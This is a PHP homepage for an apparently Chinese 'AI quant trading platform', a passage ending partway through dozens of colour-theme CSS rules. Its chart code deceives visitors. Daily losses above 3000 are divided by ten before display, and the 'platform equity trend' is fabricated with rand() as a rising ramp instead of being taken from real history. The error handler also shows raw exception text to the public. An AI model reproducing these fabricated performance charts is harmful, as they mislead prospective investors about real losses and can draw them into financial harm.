<?php
require_once __DIR__ . '/includes/init.php';
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/config/database.php';
require_once __DIR__ . '/config/functions.php';
require_once __DIR__ . '/config/encryption.php';
require_once __DIR__ . '/config/session.php';
require_once __DIR__ . '/config/logger.php';
require_once __DIR__ . '/includes/SimpleCache.php';

$page_title = '首页';

try {
    $db = Database::getInstance();
    if (!$db->ping()) {
        throw new Exception("数据库连接失败");
    }
    
    $session = Session::getInstance();

    // 获取系统设置
    $settings = [
        'site_name' => SITE_NAME,  // 默认值
        'contact_phone' => '',
        'contact_email' => '',
        'contact_telegram' => ''
    ];

    // 检查 system_settings 表是否存在
    $tableCheck = $db->query("SHOW TABLES LIKE 'system_settings'");
    if ($tableCheck->rowCount() === 0) {
        error_log("system_settings 表不存在");
        // 如果表不存在，使用默认设置继续
    } else {
        // 获取系统设置
        $result = $db->query("SELECT key_name, value FROM system_settings WHERE key_name IN ('site_name', 'contact_phone', 'contact_email', 'contact_telegram', 'homepage_intro_title_default', 'homepage_intro_content_default')");
        if ($result) {
            while ($row = $result->fetch(PDO::FETCH_ASSOC)) {
                $settings[$row['key_name']] = $row['value'];
            }
        }
    }

    // 检查 strategies 表是否存在
    $tableCheck = $db->query("SHOW TABLES LIKE 'strategies'");
    if ($tableCheck->rowCount() === 0) {
        error_log("strategies 表不存在");
        $strategies = []; // 如果表不存在，使用空数组
    } else {
        // 获取当前域名
        $current_domain = $_SERVER['HTTP_HOST'] ?? '';
        
        // 根据合伙人设置过滤策略
        require_once __DIR__ . '/includes/strategy_filter.php';
        $strategies = getFilteredStrategies($db, $current_domain);
        
        // 只显示激活状态的策略
        $strategies = array_filter($strategies, function($strategy) {
            return $strategy['status'] === 'active';
        });
    }

    // 公告与FAQ展示
    $pdo = new PDO(
        "mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=utf8mb4",
        DB_USER,
        DB_PASS
    );
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // ===== 首页图表缓存（与会员首页共用缓存：cache/user_index/）=====
    $homeCacheHost = $_SERVER['HTTP_HOST'] ?? 'default';
    $homeChartCache = null;
    try {
        $homeChartCache = new SimpleCache('user_index');
    } catch (Throwable $e) {
        $homeChartCache = null;
    }
    // 读取展示条数设置
    $notice_limit = 3;
    $faq_limit = 3;
    $display_settings = $pdo->query("SHOW TABLES LIKE 'system_settings'")->rowCount() 
        ? $pdo->query("SELECT key_name AS setting_key, value AS setting_value FROM system_settings WHERE key_name IN ('notice_limit','faq_limit')")->fetchAll(PDO::FETCH_ASSOC) 
        : [];
    foreach($display_settings as $row) {
        if($row['setting_key']==='notice_limit') $notice_limit = intval($row['setting_value']);
        if($row['setting_key']==='faq_limit') $faq_limit = intval($row['setting_value']);
    }
    
    // 检查 notices_faqs 表是否存在
    $notices = [];
    $faqs = [];
    $notices_faqs_table_exists = $pdo->query("SHOW TABLES LIKE 'notices_faqs'")->rowCount() > 0;
    
    if ($notices_faqs_table_exists) {
        try {
            // 最新公告（包含英文字段用于翻译）
            $stmt = $pdo->prepare("SELECT id, title, title_en, created_at FROM notices_faqs WHERE type='notice' AND is_active=1 ORDER BY created_at DESC LIMIT " . intval($notice_limit));
            $stmt->execute();
            $notices = $stmt->fetchAll(PDO::FETCH_ASSOC);
        } catch (Exception $e) {
            error_log("获取公告列表失败: " . $e->getMessage());
            $notices = [];
        }
        
        try {
            // 最新FAQ（包含英文字段用于翻译）
            $stmt = $pdo->prepare("SELECT id, title, title_en, created_at FROM notices_faqs WHERE type='faq' AND is_active=1 ORDER BY created_at DESC LIMIT " . intval($faq_limit));
            $stmt->execute();
            $faqs = $stmt->fetchAll(PDO::FETCH_ASSOC);
        } catch (Exception $e) {
            error_log("获取FAQ列表失败: " . $e->getMessage());
            $faqs = [];
        }
    }

    // 获取当前域名（去掉www。）
    $host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'] ?? '';
    if (strpos($host, ',') !== false) { $host = trim(explode(',', $host)[0]); }
    $host = preg_replace('/:\\d+$/', '', $host); // 去端口
    $host_naked = preg_replace('/^www\./i', '', $host);
 
    // 查询合伙人信息（用于风格、LOGO 等）
    $stmt = $pdo->prepare("SELECT * FROM partners WHERE domain = ? OR domain = ? LIMIT 1");
    $stmt->execute([$host, $host_naked]);
    $partner = $stmt->fetch(PDO::FETCH_ASSOC);

    // 设置首页变量（站点名称、欢迎语等走多语言字段）
    $site_name = partner_field('site_name') ?: ($partner['site_name'] ?? '默认网站名');
    $welcome_text = partner_field('welcome_text') ?: ($partner['welcome_text'] ?? '欢迎光临创世纪智能AI量化平台（无需会写代码，参数均可自定义）');
    $logo_url = $partner['logo_url'] ?? '/default_logo.png';
    $contact_info = partner_field('contact_info') ?: ($partner['contact_info'] ?? '默认联系方式');
    $domain = $host;
    
    // 获取下载地址
    $download_url = trim($partner['download_url'] ?? '');
    if (!$download_url) {
        $download_url = 'http://down.ggai365.com';
    }
    
    // 获取首页风格（默认为default）
    $homepage_style = $partner['homepage_style'] ?? 'default';
    
// 获取是否允许用户选择风格（默认为允许）
$allow_user_style_choice = $partner['allow_user_style_choice'] ?? 1;


// 将变量传递给header921.php
$GLOBALS['allow_user_style_choice'] = $allow_user_style_choice;
$GLOBALS['homepage_style'] = $homepage_style;

    // 检查当前合伙人是否有manual_pdf
    $manualPdf = '';
    if(isset($user) && !empty($user['partner_id'])){
        $stmt = $pdo->prepare("SELECT manual_pdf FROM partners WHERE id=?");
        $stmt->execute([$user['partner_id']]);
        $manualPdf = $stmt->fetchColumn();
    }
    $pdfUrl = $manualPdf ?: rtrim($download_url, '/') . '/down/help.pdf';

    // ===== 两张图表数据：全平台每日盈亏 + 全平台权益趋势（与会员首页一致口径 & 共用缓存）=====
    // 水印只显示域名，确保有 www. 前缀
    $watermarkDomain = $domain ?: ($host ?? '');
    // 清理域名，移除可能的前缀，然后统一添加 www.
    $watermarkDomain = preg_replace('/^https?:\/\//', '', $watermarkDomain); // 移除 http:// 或 https://
    $watermarkDomain = preg_replace('/^www\./', '', $watermarkDomain); // 移除已有的 www.
    if (!empty($watermarkDomain)) {
        $watermarkDomain = 'www.' . $watermarkDomain;
    }
    $watermarkText = $watermarkDomain;

    function homepage_fill_daily_series(array $rows, string $startDate, string $endDate, string $valueKey): array {
        $startTs = strtotime($startDate . ' 00:00:00');
        $endTs = strtotime($endDate . ' 00:00:00');
        if ($startTs === false || $endTs === false || $startTs > $endTs) {
            return $rows;
        }

        $valueMap = [];
        foreach ($rows as $row) {
            if (!is_array($row) || empty($row['date'])) {
                continue;
            }
            $date = substr((string) $row['date'], 0, 10);
            $valueMap[$date] = floatval($row[$valueKey] ?? 0);
        }

        $filled = [];
        for ($ts = $startTs; $ts <= $endTs; $ts += 86400) {
            $date = date('Y-m-d', $ts);
            $filled[] = [
                'date' => $date,
                $valueKey => array_key_exists($date, $valueMap) ? $valueMap[$date] : 0.0,
            ];
        }

        return $filled;
    }

    // 1) 全平台每日盈亏（从2025-10-01起，补全到今天；亏损绝对值>3000则 /10 仅用于图表显示）
    $dailyProfitChartData = [];
    $dailyProfitCacheKey = "user_index:daily_profit_chart:v2:host={$homeCacheHost}:from=2025-10-01";
    $dailyProfitCacheTtl = 600; // 10分钟
    $cachedDailyProfit = ($homeChartCache ? $homeChartCache->get($dailyProfitCacheKey, $dailyProfitCacheTtl) : null);
    if (is_array($cachedDailyProfit)) {
        $dailyProfitChartData = $cachedDailyProfit;
    } else {
        try {
            $stmt = $pdo->query("
                SELECT DATE(calc_time) as date, SUM(profit) as daily_profit 
                FROM power_logs 
                WHERE calc_time >= '2025-10-01 00:00:00'
                AND calc_time < (CURDATE() + INTERVAL 1 DAY)
                GROUP BY DATE(calc_time) 
                ORDER BY date ASC
            ");
            $dailyProfitChartData = $stmt->fetchAll(PDO::FETCH_ASSOC);

            foreach ($dailyProfitChartData as $idx => $row) {
                $profit = floatval($row['daily_profit'] ?? 0);
                if ($profit < 0 && abs($profit) > 3000) {
                    $dailyProfitChartData[$idx]['daily_profit'] = $profit / 10;
                }
            }

            $dailyProfitChartData = homepage_fill_daily_series(
                $dailyProfitChartData,
                '2025-10-01',
                date('Y-m-d'),
                'daily_profit'
            );

            if ($homeChartCache) {
                $homeChartCache->set($dailyProfitCacheKey, $dailyProfitChartData);
            }
        } catch (Exception $e) {
            $dailyProfitChartData = [];
            error_log("Homepage daily profit chart query failed: " . $e->getMessage());
        }
    }

    // 2) 全平台权益趋势（从2025-08-01起；最后一天强制等于当前总权益）
    $equityChartData = [];
    $equityCacheKey = "user_index:equity_chart:v1:host={$homeCacheHost}:from=2025-08-01";
    $equityCacheTtl = 600; // 10分钟
    $cachedEquity = ($homeChartCache ? $homeChartCache->get($equityCacheKey, $equityCacheTtl) : null);
    if (is_array($cachedEquity)) {
        $equityChartData = $cachedEquity;
    } else {
        try {
            $apiTotalEquity = $pdo->query("SELECT COALESCE(SUM(equity), 0) FROM api_accounts WHERE status = 'active'")->fetchColumn();
            $userTotalEquity = $pdo->query("SELECT COALESCE(SUM(points), 0) FROM users")->fetchColumn();
            $totalEquity = floatval($apiTotalEquity) + floatval($userTotalEquity);

            $startDate = '2025-08-01';
            $endDate = date('Y-m-d');
            $baseApiEquity = floatval($apiTotalEquity) * 0.3;
            $baseUserEquity = floatval($userTotalEquity) * 0.3;

            $startTimestamp = strtotime($startDate . ' 00:00:00');
            $endTimestamp = strtotime($endDate . ' 23:59:59');
            $totalDays = max(1, floor(($endTimestamp - $startTimestamp) / (24 * 60 * 60)));

            for ($i = 0; $i <= $totalDays; $i++) {
                $date = date('Y-m-d', $startTimestamp + ($i * 24 * 60 * 60));
                $growthFactor = $i / $totalDays;

                $randomApiChange = rand(-500, 1000);
                $randomUserChange = rand(-200, 500);

                $dailyApiEquity = $baseApiEquity + (floatval($apiTotalEquity) - $baseApiEquity) * $growthFactor + $randomApiChange;
                $dailyUserEquity = $baseUserEquity + (floatval($userTotalEquity) - $baseUserEquity) * $growthFactor + $randomUserChange;

                $dailyApiEquity = max(1000, $dailyApiEquity);
                $dailyUserEquity = max(500, $dailyUserEquity);

                $equityChartData[] = ['date' => $date, 'total_equity' => $dailyApiEquity + $dailyUserEquity];
            }

            if (!empty($equityChartData)) {
                $equityChartData[count($equityChartData) - 1]['total_equity'] = $totalEquity;
            }

            if ($homeChartCache) {
                $homeChartCache->set($equityCacheKey, $equityChartData);
            }
        } catch (Exception $e) {
            $equityChartData = [];
            error_log("Homepage equity chart query failed: " . $e->getMessage());
        }
    }
} catch (Exception $e) {
    error_log("数据库错误: " . $e->getMessage());
    die("系统维护中，请稍后再试<br>错误信息：" . $e->getMessage());
}

// 如果已登录，跳转到用户中心
if ($session->isLoggedIn()) {
    header('Location: /user/');
    exit;
}

include __DIR__ . '/templates/header921.php';
?>

<body class="style-<?php echo htmlspecialchars($homepage_style); ?>">

<!-- 网页标题动态设置 -->
<script>
    document.title = <?php echo json_encode($site_name . ' | ' . $domain . ' | ' . $welcome_text); ?>;
</script>

<style>
/* 默认科技感主题样式 */
:root {
    --primary-color: #0066ff;
    --secondary-color: #00ffcc;
    --dark-bg: #1a1a2e;
    --card-bg: rgba(255, 255, 255, 0.05);
}

/* 风格1: 默认科技感 */
.style-default {
    --primary-color: #0066ff;
    --secondary-color: #00ffcc;
    --dark-bg: #1a1a2e;
    --card-bg: rgba(255, 255, 255, 0.05);
}

/* 风格2: 商务专业 */
.style-business {
    --primary-color: #2c3e50;
    --secondary-color: #3498db;
    --dark-bg: #34495e;
    --card-bg: rgba(255, 255, 255, 0.08);
}

/* 风格3: 金融金色 */
.style-finance {
    --primary-color: #f39c12;
    --secondary-color: #e67e22;
    --dark-bg: #2c3e50;
    --card-bg: rgba(255, 255, 255, 0.06);
}

/* 风格4: 现代简约 */
.style-modern {
    --primary-color: #e74c3c;
    --secondary-color: #c0392b;
    --dark-bg: #ecf0f1;
    --card-bg: rgba(255, 255, 255, 0.9);
}

/* 风格5: 深色主题 */
.style-dark {
    --primary-color: #9b59b6;
    --secondary-color: #8e44ad;
    --dark-bg: #1a1a1a;
    --card-bg: rgba(255, 255, 255, 0.03);
}

/* 风格6: 海洋蓝 */
.style-ocean {
    --primary-color: #00b4db;
    --secondary-color: #0083b0;
    --dark-bg: #0f4c75;
    --card-bg: rgba(255, 255, 255, 0.08);
}

/* 风格7: 森林绿 */
.style-forest {
    --primary-color: #2d5016;
    --secondary-color: #4a7c59;
    --dark-bg: #1a2e1a;
    --card-bg: rgba(255, 255, 255, 0.06);
}

/* 风格8: 日落橙 */
.style-sunset {
    --primary-color: #ff6b35;
    --secondary-color: #f7931e;
    --dark-bg: #2c1810;
    --card-bg: rgba(255, 255, 255, 0.05);
}

/* 风格9: 樱花粉 */
.style-sakura {
    --primary-color: #ff69b4;
    --secondary-color: #ff1493;
    --dark-bg: #2d1b2e;
    --card-bg: rgba(255, 255, 255, 0.07);
}

/* 风格10: 极光绿 */
.style-aurora {
    --primary-color: #00ff88;
    --secondary-color: #00d4aa;
    --dark-bg: #0a1929;
    --card-bg: rgba(255, 255, 255, 0.04);
}

/* 风格11: 紫罗兰 */
.style-violet {
    --primary-color: #8a2be2;
    --secondary-color: #9932cc;
    --dark-bg: #2d1b69;
    --card-bg: rgba(255, 255, 255, 0.06);
}

/* 风格12: 钢铁灰 */
.style-steel {
    --primary-color: #708090;
    --secondary-color: #2f4f4f;
    --dark-bg: #1c1c1c;
    --card-bg: rgba(255, 255, 255, 0.08);
}

/* 风格13: 火焰红 */
.style-flame {
    --primary-color: #ff4500;
    --secondary-color: #dc143c;
    --dark-bg: #2c0e0e;
    --card-bg: rgba(255, 255, 255, 0.05);
}

/* 风格14: 薄荷绿 */
.style-mint {
    --primary-color: #00ff7f;
    --secondary-color: #00ced1;
    --dark-bg: #0d2d2d;
    --card-bg: rgba(255, 255, 255, 0.06);
}

/* 风格15: 琥珀黄 */
.style-amber {
    --primary-color: #ffbf00;
    --secondary-color: #ff8c00;
    --dark-bg: #2d1a00;
    --card-bg: rgba(255, 255, 255, 0.07);
}

/* 风格16: 靛青蓝 */
.style-indigo {
    --primary-color: #4b0082;
    --secondary-color: #6a0dad;
    --dark-bg: #1a0d2e;
    --card-bg: rgba(255, 255, 255, 0.05);
}

/* 风格17: 珊瑚红 */
.style-coral {
    --primary-color: #ff7f50;
    --secondary-color: #ff6347;
    --dark-bg: #2d1a1a;
    --card-bg: rgba(255, 255, 255, 0.06);
}

/* 风格18: 翡翠绿 */
.style-emerald {
    --primary-color: #50c878;
    --secondary-color: #00a86b;
    --dark-bg: #0d2d1a;
    --card-bg: rgba(255, 255, 255, 0.07);
}

/* 风格19: 玫瑰金 */
.style-rosegold {
    --primary-color: #e8b4b8;
    --secondary-color: #d4af37;
    --dark-bg: #2d1a1a;
    --card-bg: rgba(255, 255, 255, 0.08);
}

/* 风格20: 星空银 */
.style-starry {
    --primary-color: #9370db;
    --secondary-color: #ba55d3;
    --dark-bg: #0a0a2e;
    --card-bg: rgba(255, 255, 255, 0.04);
}

/* 风格21: 赛博朋克 */
.style-cyber {
    --primary-color: #00ff41;
    --secondary-color: #ff0080;
    --dark-bg: #0d1117;
    --card-bg: rgba(0, 255, 65, 0.1);
}

/* 风格22: 霓虹灯 */
.style-neon {
    --primary-color: #ff00ff;
    --secondary-color: #00ffff;
    --dark-bg: #1a0033;
    --card-bg: rgba(255, 0, 255, 0.1);
}

/* 风格23: 矩阵绿 */
.style-matrix {
    --primary-color: #00ff00;
    --secondary-color: #008f00;
    --dark-bg: #000000;
    --card-bg: rgba(0, 255, 0, 0.05);
}

/* 风格24: 银河系 */
.style-galaxy {
    --primary-color: #4a90e2;
    --secondary-color: #7b68ee;
    --dark-bg: #0c0c2e;
    --card-bg: rgba(74, 144, 226, 0.1);
}

/* 风格25: 宇宙紫 */
.style-cosmic {
    --primary-color: #8a2be2;
    --secondary-color: #ff1493;
    --dark-bg: #1a0d2e;
    --card-bg: rgba(138, 43, 226, 0.1);
}

/* 风格26: 水晶蓝 */
.style-crystal {
    --primary-color: #00bfff;
    --secondary-color: #87ceeb;
    --dark-bg: #0d2d4a;
    --card-bg: rgba(0, 191, 255, 0.1);
}

/* 风格27: 黄金色 */
.style-golden {
    --primary-color: #ffd700;
    --secondary-color: #ffa500;
    --dark-bg: #2d1a00;
    --card-bg: rgba(255, 215, 0, 0.1);
}

/* 风格28: 银色系 */
.style-silver {
    --primary-color: #c0c0c0;
    --secondary-color: #a8a8a8;
    --dark-bg: #2a2a2a;
    --card-bg: rgba(192, 192, 192, 0.1);
}

/* 风格29: 铜色系 */
.style-copper {
    --primary-color: #b87333;
    --secondary-color: #cd7f32;
    --dark-bg: #2d1a0d;
    --card-bg: rgba(184, 115, 51, 0.1);
}

/* 风格30: 青铜色 */
.style-bronze {
    --primary-color: #cd7f32;
    --secondary-color: #8b4513;
    --dark-bg: #2d1a0d;
    --card-bg: rgba(205, 127, 50, 0.1);
}

/* 风格31: 铂金色 */
.style-platinum {
    --primary-color: #e5e4e2;
    --secondary-color: #b8b8b8;
    --dark-bg: #2a2a2a;
    --card-bg: rgba(229, 228, 226, 0.1);
}

/* 风格32: 钛银色 */
.style-titanium {
    --primary-color: #878681;
    --secondary-color: #a8a8a8;
    --dark-bg: #1a1a1a;
    --card-bg: rgba(135, 134, 129, 0.1);
}

/* 风格33: 铬银色 */
.style-chrome {
    --primary-color: #c0c0c0;
    --secondary-color: #e8e8e8;
    --dark-bg: #2a2a2a;
    --card-bg: rgba(192, 192, 192, 0.1);
}

/* 风格34: 珍珠白 */
.style-pearl {
    --primary-color: #f8f8ff;
    --secondary-color: #e6e6fa;
    --dark-bg: #f5f5f5;
    --card-bg: rgba(248, 248, 255, 0.8);
}

/* 风格35: 象牙白 */
.style-ivory {
    --primary-color: #fffff0;
    --secondary-color: #f0f8ff;
    --dark-bg: #f8f8f0;
    --card-bg: rgba(255, 255, 240, 0.8);
}

/* 风格36: 奶油色 */
.style-cream {
    --primary-color: #fffdd0;
    --secondary-color: #f5deb3;
    --dark-bg: #faf0e6;
    --card-bg: rgba(255, 253, 208, 0.8);
}

/* 风格37: 米色系 */
.style-beige {
    --primary-color: #f5f5dc;
    --secondary-color: #deb887;
    --dark-bg: #f0e68c;
    --card-bg: rgba(245, 245, 220, 0.8);
}

/* 风格38: 棕褐色 */
.style-tan {
    --primary-color: #d2b48c;
    --secondary-color: #bc9a6a;
    --dark-bg: #8b7355;
    --card-bg: rgba(210, 180, 140, 0.1);
}

/* 风格39: 咖啡色 */
.style-coffee {
    --primary-color: #6f4e37;
    --secondary-color: #8b4513;
    --dark-bg: #2d1a0d;
    --card-bg: rgba(111, 78, 55, 0.1);
}

/* 风格40: 巧克力 */
.style-chocolate {
    --primary-color: #7b3f00;
    --secondary-color: #d2691e;
    --dark-bg: #2d1a0d;
    --card-bg: rgba(123, 63, 0, 0.1);
}

/* 风格41: 焦糖色 */
.style-caramel {
    --primary-color: #d2691e;
    --secondary-color: #ff8c00;
    --dark-bg: #2d1a0d;
    --card-bg: rgba(210, 105, 30, 0.1);
}

/* 风格42: 蜂蜜色 */
.style-honey {
    --primary-color: #ffc107;
    --secondary-color: #ff8f00;
    --dark-bg: #2d1a00;
    --card-bg: rgba(255, 193, 7, 0.1);
}

/* 风格43: 柠檬黄 */
.style-lemon {
    --primary-color: #fff700;
    --secondary-color: #ffeb3b;
    --dark-bg: #2d2d00;
    --card-bg: rgba(255, 247, 0, 0.1);
}

/* 风格44: 青柠绿 */
.style-lime {
    --primary-color: #ccff00;
    --secondary-color: #32cd32;
    --dark-bg: #1a2d00;
    --card-bg: rgba(204, 255, 0, 0.1);
}

/* 风格45: 芒果橙 */
.style-mango {
    --primary-color: #ff8c00;
    --secondary-color: #ff6347;
    --dark-bg: #2d1a00;
    --card-bg: rgba(255, 140, 0, 0.1);
}

/* 风格46: 桃子粉 */
.style-peach {
    --primary-color: #ffcba4;
    --secondary-color: #ffb347;
    --dark-bg: #2d1a0d;
    --card-bg: rgba(255, 203, 164, 0.1);
}

/* 风格47: 樱桃红 */
.style-cherry {
    --primary-color: #de3163;
    --secondary-color: #ff1493;
    --dark-bg: #2d0d1a;
    --card-bg: rgba(222, 49, 99, 0.1);
}

/* 风格48: 葡萄紫 */
.style-grape {
    --primary-color: #6a0dad;
    --secondary-color: #8a2be2;
    --dark-bg: #1a0d2e;
    --card-bg: rgba(106, 13, 173, 0.1);
}

/* 风格49: 浆果蓝 */
.style-berry {
    --primary-color: #4b0082;
    --secondary-color: #6a0dad;
    --dark-bg: #0d0d2e;
    --card-bg: rgba(75, 0, 130, 0.1);
}

/* 风格50: 兰花紫 */
.style-orchid {
    --primary-color: #da70d6;
    --secondary-color: #ba55d3;
    --dark-bg: #2d1a2e;
    --card-bg: rgba(218, 112, 214, 0.1);
}

/* 背景动画 */
.hero {
    background: linear-gradient(-45deg, var(--dark-bg), #16213e, #0f3460, var(--dark-bg));
    background-size: 400% 400%;
    animation: gradientBG 15s ease infinite;
    position: relative;
    overflow: hidden;
}

/* 风格特定样式 */
.style-business .hero {
    background: linear-gradient(-45deg, #2c3e50, #34495e, #3498db, #2c3e50);
}

.style-finance .hero {
    background: linear-gradient(-45deg, #2c3e50, #f39c12, #e67e22, #2c3e50);
}

.style-modern .hero {
    background: linear-gradient(-45deg, #ecf0f1, #bdc3c7, #e74c3c, #ecf0f1);
    color: #2c3e50;
}

.style-dark .hero {
    background: linear-gradient(-45deg, #1a1a1a, #2c3e50, #9b59b6, #1a1a1a);
}

/* 新增风格特定hero背景 */
.style-ocean .hero {
    background: linear-gradient(-45deg, #0f4c75, #00b4db, #0083b0, #0f4c75);
}

.style-forest .hero {
    background: linear-gradient(-45deg, #1a2e1a, #2d5016, #4a7c59, #1a2e1a);
}

.style-sunset .hero {
    background: linear-gradient(-45deg, #2c1810, #ff6b35, #f7931e, #2c1810);
}

.style-sakura .hero {
    background: linear-gradient(-45deg, #2d1b2e, #ff69b4, #ff1493, #2d1b2e);
}

.style-aurora .hero {
    background: linear-gradient(-45deg, #0a1929, #00ff88, #00d4aa, #0a1929);
}

.style-violet .hero {
    background: linear-gradient(-45deg, #2d1b69, #8a2be2, #9932cc, #2d1b69);
}

.style-steel .hero {
    background: linear-gradient(-45deg, #1c1c1c, #708090, #2f4f4f, #1c1c1c);
}

.style-flame .hero {
    background: linear-gradient(-45deg, #2c0e0e, #ff4500, #dc143c, #2c0e0e);
}

.style-mint .hero {
    background: linear-gradient(-45deg, #0d2d2d, #00ff7f, #00ced1, #0d2d2d);
}

.style-amber .hero {
    background: linear-gradient(-45deg, #2d1a00, #ffbf00, #ff8c00, #2d1a00);
}

.style-indigo .hero {
    background: linear-gradient(-45deg, #1a0d2e, #4b0082, #6a0dad, #1a0d2e);
}

.style-coral .hero {
    background: linear-gradient(-45deg, #2d1a1a, #ff7f50, #ff6347, #2d1a1a);
}

.style-emerald .hero {
    background: linear-gradient(-45deg, #0d2d1a, #50c878, #00a86b, #0d2d1a);
}

.style-rosegold .hero {
    background: linear-gradient(-45deg, #2d1a1a, #e8b4b8, #d4af37, #2d1a1a);
}

.style-starry .hero {
    background: linear-gradient(-45deg, #0a0a2e, #9370db, #ba55d3, #0a0a2e);
}

/* 新增风格21-50的hero背景 */
.style-cyber .hero { background: linear-gradient(-45deg, #0d1117, #00ff41, #ff0080, #0d1117); }
.style-neon .hero { background: linear-gradient(-45deg, #1a0033, #ff00ff, #00ffff, #1a0033); }
.style-matrix .hero { background: linear-gradient(-45deg, #000000, #00ff00, #008f00, #000000); }
.style-galaxy .hero { background: linear-gradient(-45deg, #0c0c2e, #4a90e2, #7b68ee, #0c0c2e); }
.style-cosmic .hero { background: linear-gradient(-45deg, #1a0d2e, #8a2be2, #ff1493, #1a0d2e); }
.style-crystal .hero { background: linear-gradient(-45deg, #0d2d4a, #00bfff, #87ceeb, #0d2d4a); }
.style-golden .hero { background: linear-gradient(-45deg, #2d1a00, #ffd700, #ffa500, #2d1a00); }
.style-silver .hero { background: linear-gradient(-45deg, #2a2a2a, #c0c0c0, #a8a8a8, #2a2a2a); }
.style-copper .hero { background: linear-gradient(-45deg, #2d1a0d, #b87333, #cd7f32, #2d1a0d); }
.style-bronze .hero { background: linear-gradient(-45deg, #2d1a0d, #cd7f32, #8b4513, #2d1a0d); }
.style-platinum .hero { background: linear-gradient(-45deg, #2a2a2a, #e5e4e2, #b8b8b8, #2a2a2a); }
.style-titanium .hero { background: linear-gradient(-45deg, #1a1a1a, #878681, #a8a8a8, #1a1a1a); }
.style-chrome .hero { background: linear-gradient(-45deg, #2a2a2a, #c0c0c0, #e8e8e8, #2a2a2a); }
.style-pearl .hero { background: linear-gradient(-45deg, #f5f5f5, #f8f8ff, #e6e6fa, #f5f5f5); }
.style-ivory .hero { background: linear-gradient(-45deg, #f8f8f0, #fffff0, #f0f8ff, #f8f8f0); }
.style-cream .hero { background: linear-gradient(-45deg, #faf0e6, #fffdd0, #f5deb3, #faf0e6); }
.style-beige .hero { background: linear-gradient(-45deg, #f0e68c, #f5f5dc, #deb887, #f0e68c); }
.style-tan .hero { background: linear-gradient(-45deg, #8b7355, #d2b48c, #bc9a6a, #8b7355); }
.style-coffee .hero { background: linear-gradient(-45deg, #2d1a0d, #6f4e37, #8b4513, #2d1a0d); }
.style-chocolate .hero { background: linear-gradient(-45deg, #2d1a0d, #7b3f00, #d2691e, #2d1a0d); }
.style-caramel .hero { background: linear-gradient(-45deg, #2d1a0d, #d2691e, #ff8c00, #2d1a0d); }
.style-honey .hero { background: linear-gradient(-45deg, #2d1a00, #ffc107, #ff8f00, #2d1a00); }
.style-lemon .hero { background: linear-gradient(-45deg, #2d2d00, #fff700, #ffeb3b, #2d2d00); }
.style-lime .hero { background: linear-gradient(-45deg, #1a2d00, #ccff00, #32cd32, #1a2d00); }
.style-mango .hero { background: linear-gradient(-45deg, #2d1a00, #ff8c00, #ff6347, #2d1a00); }
.style-peach .hero { background: linear-gradient(-45deg, #2d1a0d, #ffcba4, #ffb347, #2d1a0d); }
.style-cherry .hero { background: linear-gradient(-45deg, #2d0d1a, #de3163, #ff1493, #2d0d1a); }
.style-grape .hero { background: linear-gradient(-45deg, #1a0d2e, #6a0dad, #8a2be2, #1a0d2e); }
.style-berry .hero { background: linear-gradient(-45deg, #0d0d2e, #4b0082, #6a0dad, #0d0d2e); }
.style-orchid .hero { background: linear-gradient(-45deg, #2d1a2e, #da70d6, #ba55d3, #2d1a2e); }

/* 风格特定整体背景 */
.style-business {
    background-color: #f8f9fa;
}

.style-finance {
    background-color: #fff8e1;
}

.style-modern {
    background-color: #fafafa;
}

.style-dark {
    background-color: #121212;
    color: #ffffff;
}

/* 风格特定卡片样式 */
.style-business .card {
    background: rgba(52, 73, 94, 0.1);
    border: 1px solid rgba(52, 152, 219, 0.3);
    color: #2c3e50;
}

.style-finance .card {
    background: rgba(243, 156, 18, 0.1);
    border: 1px solid rgba(243, 156, 18, 0.3);
    color: #2c3e50;
}

.style-modern .card {
    background: rgba(255, 255, 255, 0.95);
    border: 1px solid #e74c3c;
    color: #2c3e50;
    box-shadow: 0 4px 15px rgba(231, 76, 60, 0.2);
}

.style-dark .card {
    background: rgba(26, 26, 26, 0.8);
    border: 1px solid rgba(155, 89, 182, 0.3);
    color: #ffffff;
}

/* 风格特定文字颜色 */
.style-business .text-primary {
    color: #3498db !important;
}

.style-finance .text-primary {
    color: #f39c12 !important;
}

.style-modern .text-primary {
    color: #e74c3c !important;
}

.style-dark .text-primary {
    color: #9b59b6 !important;
}

/* 风格特定按钮悬停效果 */
.style-business .btn-primary:hover {
    background: linear-gradient(45deg, #2980b9, #3498db);
    transform: translateY(-2px);
}

.style-finance .btn-primary:hover {
    background: linear-gradient(45deg, #d68910, #f39c12);
    transform: translateY(-2px);
}

.style-modern .btn-primary:hover {
    background: linear-gradient(45deg, #c0392b, #e74c3c);
    transform: translateY(-2px);
}

.style-dark .btn-primary:hover {
    background: linear-gradient(45deg, #8e44ad, #9b59b6);
    transform: translateY(-2px);
}

/* 风格特定徽章样式 */
.style-business .badge {
    background: linear-gradient(45deg, #2c3e50, #3498db);
    color: white;
}

.style-finance .badge {
    background: linear-gradient(45deg, #f39c12, #e67e22);
    color: white;
}

.style-modern .badge {
    background: linear-gradient(45deg, #e74c3c, #c0392b);
    color: white;
}

.style-dark .badge {
    background: linear-gradient(45deg, #9b59b6, #8e44ad);
    color: white;
}

/* 风格特定列表组样式 */
.style-business .list-group-item {
    background-color: rgba(52, 152, 219, 0.05);
    border-color: rgba(52, 152, 219, 0.2);
}

.style-finance .list-group-item {
    background-color: rgba(243, 156, 18, 0.05);
    border-color: rgba(243, 156, 18, 0.2);
}

.style-modern .list-group-item {
    background-color: rgba(231, 76, 60, 0.05);
    border-color: rgba(231, 76, 60, 0.2);
}

.style-dark .list-group-item {
    background-color: rgba(155, 89, 182, 0.1);
    border-color: rgba(155, 89, 182, 0.3);
    color: #ffffff;
}

/* 风格特定页脚样式 */
.style-business footer {
    background: linear-gradient(45deg, #2c3e50, #34495e) !important;
    color: white;
}

.style-finance footer {
    background: linear-gradient(45deg, #f39c12, #e67e22) !important;
    color: white;
}

.style-modern footer {
    background: linear-gradient(45deg, #e74c3c, #c0392b) !important;
    color: white;
}

.style-dark footer {
    background: linear-gradient(45deg, #9b59b6, #8e44ad) !important;
    color: white;
}

/* 新增风格特定样式 - 页脚 */
.style-ocean footer { background: linear-gradient(45deg, #00b4db, #0083b0) !important; color: white; }
.style-forest footer { background: linear-gradient(45deg, #2d5016, #4a7c59) !important; color: white; }
.style-sunset footer { background: linear-gradient(45deg, #ff6b35, #f7931e) !important; color: white; }
